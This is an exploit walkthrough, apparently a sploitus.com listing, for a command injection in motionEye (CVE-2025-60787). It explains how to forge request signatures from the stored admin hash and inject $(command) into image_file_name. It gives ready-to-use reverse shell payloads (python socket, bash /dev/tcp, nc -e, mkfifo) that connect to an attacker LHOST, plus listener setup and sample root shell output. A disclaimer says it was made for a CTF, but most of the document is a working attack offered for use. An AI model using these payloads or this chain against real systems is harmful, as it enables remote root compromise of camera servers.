Share
## https://sploitus.com/exploit?id=C82A5C7F-343C-5585-B631-15D11D42C2DA
# CVE-2025-60787
MotionEye v0.43.1b4 OS Command Injection 

A proof-of-concept exploit OS Command Injection for vulnerability in [motionEye](https://github.com/motioneye-project/motioneye), a web frontend for the motion daemon. The vulnerability abuses the `image_file_name` configuration parameter, which is passed directly to the shell without sanitisation, allowing arbitrary command injection via `$(command)` subshell syntax.

> **Disclaimer:** This tool was developed for an authorised CTF challenge. Only use against systems you have explicit permission to test. Unauthorised use is illegal.

---

## Table of Contents

- How the Vulnerability Works
- Prerequisites
- Step 1 โ€” Locate the Admin Password Hash
- Step 2 โ€” Understanding the Authentication Chain
- Step 3 โ€” Understanding the Signature Algorithm
- Step 4 โ€” Configure the Exploit
- Step 5 โ€” Start Your Listener
- Step 6 โ€” Run the Exploit
- Parameters Reference
- Troubleshooting]

---

## How the Vulnerability Works

motionEye passes the `image_file_name` config value directly to the motion daemon as a shell filename pattern. Motion evaluates `$(...)` subshell expressions inside filenames at snapshot time, meaning any command placed inside `$(...)` is executed as the user running the motion process (typically `root`).

The full attack chain is:

```
1. Read admin_password hash from /etc/motioneye/motion.conf
         โ†“
2. Derive cookie hash = SHA1(admin_password_hash)
         โ†“
3. Compute HMAC signature using motionEye's exact algorithm:
   SHA1("METHOD:path:body:key")
         โ†“
4. POST malicious config to /config/{cam}/set/ with:
   image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
         โ†“
5. Trigger snapshot via unauthenticated motion control port 7999
         โ†“
6. Motion evaluates the filename โ†’ command executes as root
         โ†“
7. Reverse shell connects back to attacker machine
```

---

## Prerequisites

- Python 3.6+
- Network access to the target motionEye instance (default port `8765`)
- The admin password hash from `/etc/motioneye/motion.conf`
- A listener on your attack machine (e.g. `nc`)

No third-party Python packages are required โ€” the exploit uses only the standard library.

---

## Step 1 โ€” Locate the Admin Password Hash

The motionEye configuration file stores the admin password as a SHA1 hash. Read it from the target:

```bash
cat /etc/motioneye/motion.conf
```

Look for the `@admin_password` comment line:

```
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
```

> The value after `@admin_password` is a SHA1 hash of the plaintext password, not the password itself. This hash is what you need for the exploit.

Also note the `webcontrol_port` value โ€” this is the unauthenticated motion control port used to trigger snapshots:

```
webcontrol_port 7999
webcontrol_localhost on
```


---

## Step 2 โ€” Understanding the Authentication Chain

motionEye uses a double-hashed authentication scheme:

```
plaintext_password
       โ”‚
       โ–ผ  SHA1
admin_password  โ†โ”€โ”€ stored in motion.conf as @admin_password
       โ”‚
       โ–ผ  SHA1
cookie_hash     โ†โ”€โ”€ sent in browser cookie as meye_password_hash
       โ”‚
       โ–ผ  used as HMAC key
request_signature โ†โ”€โ”€ _signature= parameter in every API request
```

The exploit derives the cookie hash automatically from the config hash:

```python
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
```

You can verify this manually:

```bash
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052
```

---

## Step 3 โ€” Understanding the Signature Algorithm

The signature is computed from the motionEye source at  
`/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py`:

```python
SHA1("METHOD:path:body:key")
```

Where:
- `METHOD` โ€” HTTP method (`POST`)
- `path` โ€” URI with `_signature` removed from query string, params sorted, values URL-encoded, then filtered through `_SIGNATURE_REGEX`
- `body` โ€” raw JSON body string filtered through `_SIGNATURE_REGEX`
- `key` โ€” either `admin_password` or `admin_hash` (motionEye accepts both), filtered through `_SIGNATURE_REGEX`

The `_SIGNATURE_REGEX` strips any character not in `[a-zA-Z0-9/?_.=&{}\[\]":, -]`, replacing them with `-`.

> This is why all previous signature attempts failed โ€” the format is 4 colon-separated parts, not 3, and both the key and body must be filtered through the regex before hashing.

---

## Step 4 โ€” Configure the Exploit

Open `exploit.py` and set the following variables at the top:

```python
MOTIONEYE_URL = "http://127.0.0.1:8765"   # motionEye web UI URL
MOTION_URL    = "http://127.0.0.1:7999"   # motion control port (no auth)
USERNAME      = "admin"                    # admin username (default: admin)
ADMIN_HASH    = "989c5a8ee87a0e9521ec81a79187d162109282f0"  # from motion.conf

LHOST = "10.10.16.153"   # your listener IP โ€” the target must be able to reach this
LPORT = "4444"           # your listener port
```

The reverse shell command is set automatically from `LHOST` and `LPORT`:

```python
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
```

**Alternative shell commands** โ€” swap `COMMAND` if the default is blocked:

```python
# Bash TCP (simple, may be filtered)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"

# Netcat with -e flag
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"

# Netcat without -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
```

---

## Step 5 โ€” Start Your Listener

On your attack machine, start a netcat listener **before** running the exploit:

```bash
nc -lvnp 4444
```

The exploit pauses for 5 seconds after printing the listener reminder, giving you time to switch terminals.



---

## Step 6 โ€” Run the Exploit

```bash
python3 exploit.py
```

Expected output:

```
============================================================
  motionEye RCE โ€” Reverse Shell
============================================================

[*] LHOST      : 10.10.16.153
[*] LPORT      : 4444
[*] Command    : python3 -c '...'

[!] Start your listener NOW:
    nc -lvnp 4444

[*] Sending payload in 5 seconds...

[*] cam=2 key=admin_password ts=1773484327292
    sig=abc123...
    status=200 resp={}

[+] Config saved! cam=2 key=admin_password

[*] Triggering snapshots via port 7999 (no auth)...
[+] cam 0 โ†’ 200 Snapshot for camera 0 Done
[+] cam 1 โ†’ 200 Snapshot for camera 1 Done
[+] cam 2 โ†’ 200 Snapshot for camera 2 Done

[+] Snapshot triggered โ€” check your listener on 10.10.16.153:4444
```

On your listener you should receive:

```
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@cctv:/var/lib/motioneye/Camera2#
```




---

## Parameters Reference

| Parameter | Location | Description | Example |
|-----------|----------|-------------|---------|
| `MOTIONEYE_URL` | `exploit.py` | Full URL to the motionEye web interface | `http://127.0.0.1:8765` |
| `MOTION_URL` | `exploit.py` | URL to the motion control port (no auth required) | `http://127.0.0.1:7999` |
| `USERNAME` | `exploit.py` | motionEye admin username | `admin` |
| `ADMIN_HASH` | `exploit.py` | SHA1 hash from `@admin_password` in `motion.conf` | `989c5a8e...` |
| `LHOST` | `exploit.py` | Your attack machine IP โ€” target must reach this | `10.10.16.153` |
| `LPORT` | `exploit.py` | Port your `nc` listener is on | `4444` |

---

## Troubleshooting

**403 Unauthorized on all requests**

The signature is wrong. Verify your `ADMIN_HASH` value exactly matches the `@admin_password` line in `motion.conf` โ€” no spaces, no newline characters.

```bash
cat /etc/motioneye/motion.conf | grep admin_password
```

**Snapshots trigger but no shell arrives**

The `image_file_name` injection worked but the reverse shell was blocked. Try an alternative `COMMAND` from Step 4. Also confirm the target can reach your `LHOST`:

```bash
# On target
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444
```

**Port 7999 refuses connection**

The `webcontrol_localhost on` setting restricts port 7999 to localhost only. The exploit must be run from the target machine or via a tunnel. Confirm with:

```bash
ss -tlnp | grep 7999
```

**`motion.conf` not readable**

The file may require elevated privileges:

```bash
sudo cat /etc/motioneye/motion.conf
```

**No camera config found**

Check which camera conf files exist and update the `cam` list in the exploit if needed:

```bash
ls /etc/motioneye/camera-*.conf
```

---

## Screenshots / Demo






















### Reading the config hash



### Running the exploit



### Reverse shell received



### Full demo



---

## References

- [CVE-2023-30626](https://vulners.com/cve/CVE-2023-30626)
- [motionEye source โ€” utils/__init__.py](https://github.com/motioneye-project/motioneye/blob/main/motioneye/utils/__init__.py)
- [motionEye source โ€” handlers/base.py](https://github.com/motioneye-project/motioneye/blob/main/motioneye/handlers/base.py)
- [motion documentation โ€” picture_filename](https://motion-project.github.io/motion_config.html#picture_filename)